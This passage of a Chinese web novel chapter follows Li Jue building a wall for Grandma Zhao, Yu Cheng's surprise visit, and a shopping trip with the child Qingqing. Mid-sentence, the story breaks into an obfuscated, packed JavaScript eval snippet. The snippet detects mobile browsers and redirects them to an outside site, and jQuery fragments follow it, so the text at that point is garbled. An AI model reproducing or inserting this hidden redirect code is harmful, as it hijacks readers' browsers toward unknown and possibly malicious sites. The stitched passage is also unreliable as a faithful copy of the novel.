暑假到了，俞珵报名参加下乡支教公益活动，为期三周，离玦忙于兼职，她接了两名初中生一对一的家教辅导，一早一午，晚上到饭店当服务生，每天行程安排得极满。


    她没有把遇见梅亭的事告诉俞珵，准确来说是不知如何开口，梅亭的意思基本趋于肯定，自己的猜测果然没错。


    利益当前，背刺与出卖改写成你情我愿。


    最讽刺的是，这个圈子早已习以为常。


    八月下旬，离玦订车票回垌街。


    山里信号不好，电话里俞珵的声音断断续续，“你一个人回去？要不再等两天，我过两天就回来了。”


    离玦让他别折腾：“我只回去几天，帮赵婆家修好围墙就返校。”


    赵婆的房子去年翻修重建，当时盖得仓促，没有建围墙，导致经常有小车临停在家门口，出入不便，离玦打工存了点钱，扣减下学期的学费生活费还剩余一些，她捐出来给赵婆盖围墙。


    她拜托陈勇采购红砖水泥沙石，东西是买回来了，可陈勇不靠谱，干半天停几天工，上周她打电话询问进度，结果一半也没盖起来。


    人工费不便宜，离玦决定自己动手。


    工具齐全，拌水泥砂石并不难，就是腰酸累人，林叔偶尔来帮忙，争取一周内盖好围墙。


    “小玦姐姐，给。”庆庆戴着厚手套帮忙搬砖，离玦见状急忙接过，拨正她头上的小草帽，“两块一起搬太重了，庆庆一块一块搬。”


    “不重，庆庆有力气。”太阳底下，小小的身影倒影出大力士举臂的姿势，离玦失笑，“热吗，姐姐熬了菊花茶，庆庆去喝点，当心中暑了。”


    “收到！”小庆庆敬了一个少先队员礼，小短腿蹬蹬蹬跑开了，离玦继续砌砖，忽听见背后传来说话声，庆庆不知朝谁大声问，“你是谁啊？来我家做什么？”


    闻声回头，对上俞珵明亮的眸。


    蝉鸣聒噪，盛夏烈日当空，她戴着草帽遮阳，干草的气味钻进鼻腔，眼前高大的身影藏不住激动，冲扑上来展臂拥住她。


    怀抱结实，掺杂着汗气，撞得她险些站不稳，皮肤紧贴带来的颤栗如巨伏电流一节节地刺激神经，紧接着是熟悉气息，俞珵身上的味道好闻，堪比助燃的氧。


    被紧抱，她不得不仰起头垫着他的肩。


    才发现天空那么蓝。


    云朵静止一般，心跳声叮叮咚咚，弹出风琴的旋律。


    震惊与欣喜反复交错，离玦在错愕中回过神，瞥见庆庆张得圆圆的嘴巴，害羞地拍了拍他的背。


    对方也反应过来两人的关系比水还清白，讪讪一笑，四目对视间，异口同声：


    “你晒黑了。”


    “你晒黑了。”


    又同时笑出声。


    “你怎么来了？不是昨天才回郦市吗？”他穿着洁白的短袖衫，生怕弄脏他的衣服，离玦脱下劳工手套，“还认得路呢。”


    “又不是第一次来。”俞珵低头挨近，掀起她的草帽，阳光从草帽小小的疏孔漏下来，碎成橘色的斑点，融在眼前人的脸庞上，少女梳着麻花辫，眼睛极亮。


    忍不住点了点她的鼻尖，“小黑猫。”


    离玦冲他皱了皱鼻子。


    “小玦姐姐。”庆庆跑过来抱住她的腰，怯声问这个哥哥是谁。


    “是姐姐的朋友，你以前见过的，住在姐姐家里的小鱼哥哥。”


    “庆庆长大了，忘记小鱼哥哥了。”俞珵好笑盯着庆庆头上歪斜的冲天辫，“你帮她绑的头发？”


    “她自己弄的，多好看。”离玦抚着庆庆柔软的发，“她上学也是自己梳头扎辫子。”


    “狸猫姐姐滤镜真重。”俞珵看向她身后只砌了半截的围墙，“这么砌不是办法，请人帮忙吧。”


    “人工费不便宜，我预算不够。”


    “热心民众资助。”俞珵打电话去了，庆庆眨着大眼睛偷看，“小玦姐姐，这个哥哥好帅哦。”


    人小鬼大，小小年纪就学会帅不帅了，离玦轻捏她脸颊，“保持这个眼光。”


    热心民众很快找来四名工人，垌街不缺待业民工，出价够高自然干活卖力，离玦乐得清闲，捶着酸软的腰到一旁休息。


    俞珵监工，她抱着庆庆午睡，摇着扇子坐在屋门前，房檐揽住日光，丝丝夏风吹动悬挂在屋前的玻璃风铃，清脆的叮铃声荡入半梦，离玦有些分不清向自己走来的身影是现实还是梦境。


    朦朦胧胧间，粗粝的触感从额头传来，她感觉有一只大手拨起她的刘海，不由眯了眯眼，手的主人贴着她坐下，拿过她的扇子，一下一下地扇着。


    耳边隆隆，是飞机低飞划过长空的声音，风横冲直撞，一点也不温柔，离玦困得睁不开眼，靠在身边人的肩膀合上眼。


    梦里，她好像贴向了一团柔软，很陌生，从未有过，像棉花，像羽毛，像软糯糯的白色年糕，说不清是什么感觉，只知道和莽撞的夏风不同，带着清新的柑橘果香，温柔得细腻。


    呼吸逐渐绵长，周围的一切缓缓慢下来，心变得安宁，她陷入深梦中。


    竟回到了杂货店。


    她赤脚走进店里，熟悉的布置，收银台、货架、墙上的挂历，饮料冰柜旁的二十寸小电视，她拿起手边的糖果，透明糖纸折射五彩的光，嗞啦嗞啦扭开糖纸，里面的糖却不见了。


    杂货店也消失了，脚下是延绵的荒地公路。


    地面滚烫，一道熟悉的身影跟在她身后，刚开始与她并肩，又很快越过她，走在前头。


    梦境恍惚不停，她在梦里颠沛流离，风来了，吹散了那道身影，吹起她微黄的发，梦中的短发刺挠着脸庞，难受得很。


    不知过了多久。


    “醒了？”


    是俞珵的声音，她热醒了，迷迷糊糊睁开眼，对方凝目看着她，“都睡出汗了。”


    对上梦里那张脸。


    倏然回神，才发现自己靠着俞珵睡着了。


    “抱歉。”她坐直身，发圈松了，麻花辫散开，黑发丝洒落肩头，怀里的庆庆还在睡，小嘴微张，电风扇不时吹起小姑娘微湿的鬓发，满额是汗。


    俞珵摇扇子的动作停下，他注视着离玦睡得酡红的脸颊，帮她把长发拨到颈后。


    兴许是梦见他，离玦莫名有些不敢看他，捡起落到胸前的发圈，重新把头发扎好。


    “热坏了吧。”俞珵看了眼忙碌中的工人们，“不如带庆庆进屋睡，这里有我盯着。”


    “也好。”


    “来，我抱她。”


    俞珵抱起庆庆，两人进屋，离玦注意到他晒红的脸，把自己的草帽给他戴上，“戴着吧，再晒就更黑了。”


    草帽下的俞珵挑了挑眉，压低声笑得一脸放浪的痞坏，“今天情况特殊，你可不能嫌我不好看乱扣分。”


    真晓得见缝插针，离玦睨他，“答题的是你，评分的也是你，话都让你说完了。”


    “怎么会，我还在等出题人心软降低标准。”


    花言巧语得寸进尺，离玦佯装没好气别过脸。


    完工速度快，当天傍晚几名工人砌好围墙装好铁门，验收后三人收拾一番回麻辣烫店，离玦问俞珵晚上住哪里。


    俞珵晃着手里的车钥匙，“东子说他房间空着，让我睡他家。”


    “不行！”


    “你反应这么大？”


    “总之不行。”离玦郁闷，她借住的房间和东子房间同在三楼，这不等于两人睡同一层，“你去酒店住，反正你开车来，出入方便。”


    她神色古怪，带着莫名其妙的羞意，俞珵看在眼里并不拆穿，故意拖长调反问，“真的不行？”


    离玦瞪他。


    “投降！我逗你的，先去吃饭，我饿了。”


    来到麻辣烫店，铺面扩大了，开通外卖送餐后顾客更多也更忙了，东子父母租下邻居的店面合并成一家，赵婆也在店里打工帮忙。


    庆庆蹦蹦跳跳到后厨找奶奶，离玦领着俞珵坐下，东子妈妈走过来，边擦桌子边悄悄打量俞珵。


    长辈鬼祟偷瞄的眼神太过明显，俞珵哭笑不得站起身主动问好，“大姨好，我是俞珵，年初在家全的视频里叨扰过您们。”


    “啊？原来是你啊。”东子妈妈笑呵呵，“瞧我这记性，难怪觉得你这小伙眼熟，坐吧坐吧，你是我家几个孩子的朋友，随便吃，不用跟大姨客气。”


    俞珵背挺得笔直，礼貌道谢，离玦单手支着下巴抿唇偷笑，看他在长辈面前一脸拘束装乖。


    “大意了。”


    “装不下去了？”


    “不是。”俞珵懊恼，“怎说也是见长辈，我应该拎礼品上门的，来得太匆忙没往这想。”


    离玦像看傻子一样看着他，“你来东子家，见东子父母，然后……”


    “也是你家，你的长辈。”


    俞珵对上她的眼睛，神色认真，“你明白我的意思，你要记牢了，记进心里，我绝不是随便说说而已。”


    晚饭后，俞珵还是被‘赶走’了。


    他握住离玦的电动车把手不放，捂住胸口声泪俱下控诉离玦‘无情’，“真伤心，分开一个多月好不容易见面，就这样被抛弃了。”


    “演戏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175884|173109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呢。”离玦憋住笑，“快走吧，今天开了几个小时车不累吗？”


    俞珵张开双臂，“让我抱抱就不累了。”


    “别逼我喊流氓。”


    俞流氓夸张扁嘴。


    这人脸皮真是越来越厚了，最可恶的是帅而自知，常常故意在她面前讨好卖乖，可谓用尽手段，离玦拿他没办法，“你先回去，明天我去找你。”


    “真的？”


    一句话哄得眼睛都亮了，大傻狗似的，离玦终于没忍住笑，“快开学了，明天我带庆庆到镇中心商场买文具，你也一起来吧，省得你无聊。”


    “那我等你。”俞珵高兴了，倒走着一步一回头挥手离开，离玦目送他开车驶远才回赵婆家。


    围墙建好，赵婆千恩万谢，离玦可不敢独揽功劳，“少不了热心民众的功劳。”


    第二天，离玦和庆庆来找俞珵，本以为大少爷铁定赖床，不料他早早就等着了。


    离玦看着眼前花枝招展的俞某人，大饱眼福之余暗暗盘算要不扔下他，自己带庆庆去好了。


    “小珵哥哥今天更帅了。”庆庆眼睛一眨不眨。


    可不是嘛，特意弄了发型，戴了细框眼镜，一副斯文败类不知要迷死谁的贵公子相。


    “你今天……”离玦打量他，欲言又止，最后索性眼不见为净，“走吧，给你带了早点，去餐厅吃。”


    “你不夸夸我？”俞珵缠着她孔雀开屏，“我一大早起床花了两小时打扮。”


    两小时，那真是难为赖床星人了，“好看。”


    “敷衍，不走心，夸具体一点，哪里好看，是发型还是着装，我戴眼镜怎么样，喜欢吗？”


    烦人。


    “小珵哥哥你好帅噢！”庆庆竖起大拇指，殷勤地对出钱出力建围墙的阔气哥哥夸彩虹屁，“谁都比不上你！”


    “有眼光，我和家全哥哥哪个更帅？”


    “小珵哥哥最帅！”


    “听见了吗？”俞珵冲离玦挑眉，“赶紧把你屏保背景照换掉，都用多久了。”


    “……”


    吃过早饭出发到商场，文具连锁店挤满家长学生，三人先去鞋店，小孩子长得快，庆庆的运动鞋挤脚了，得换新鞋。


    “小玦姐姐快来看，是艾莎公主的水晶鞋。”庆庆兴奋，跃跃欲试。


    小孩子的品味着实让人头大，“庆庆，这不是水晶鞋，它只是一双塑胶凉鞋，而且你上学也穿不了。”


    “可它闪晶晶很好看，小玦姐姐，庆庆只试穿，不买，让庆庆试试吧。”


    离玦拗不过她，让店员取来合脚的鞋码，庆庆在镜子前来回踱步臭美，还摆出艾莎公主转圈撒冰的姿势。


    “好了庆庆，该试运动鞋了，快把凉鞋脱了。”


    庆庆不舍地脱下鞋子，俞珵见状，“庆庆喜欢这双公主鞋？”


    七岁的年纪藏不住心思，小姑娘抿唇，偷瞄一眼正在对比运动鞋的离玦，点头。


    “那就买吧。”俞珵让店员留起鞋子，离玦见状阻止，“不行，上学得穿运动鞋，穿凉鞋不能跑步，摔跤了怎么办？”


    “运动鞋实用，凉鞋漂亮，上学日穿运动鞋，周末穿凉鞋，两双替换正好。”俞珵道，“庆庆喜欢就买吧，小孩子也有爱美心，光顾着上学实用怎么行。”


    见她犹豫，俞珵小声与她商量，“这是庆庆勇敢争取来的鞋子，狸猫姐姐最好了，就答应吧，这双由热心民众资助，怎么样？好不好，嗯？”


    小姑娘不知两人在聊什么，以为要花很多钱，拘谨地抠手指，“还是不要艾莎公主鞋了，庆庆更喜欢运动鞋。”


    庆庆在观察大人的眼色。


    意识到这一点时离玦的心骤沉，是她疏忽了，才这么小的人儿已经不知不觉学会掩饰自己的喜欢，违心说不要，这和小时候的自己有何区别？


    这些年她努力读书打工挣钱，不就是为了改变这种违心吗？


    “庆庆，是姐姐不对。”离玦蹲下身与庆庆平视，“庆庆勇敢说喜欢这双鞋真棒，庆庆是姐姐的宝贝公主，得穿好看的公主水晶鞋。”


    庆庆难为情，咬着手指腼腆笑了。


    买完鞋子后置办文具，三人提着大包小包找地方吃午饭，庆庆指着金拱门店，“小玦姐姐，可以吃麦当劳吗？”


    垌街附近没有麦当劳，以前大人们嫌贵，总是借口说不健康不给小孩买，现在轮到她当大人，哪可能扫兴，“当然可以，走吧。”


    俞珵牵着庆庆凑到她耳边悄声，“这么看我们真像一家三口出门逛街吃饭。”


    离玦抬手给了他一肘。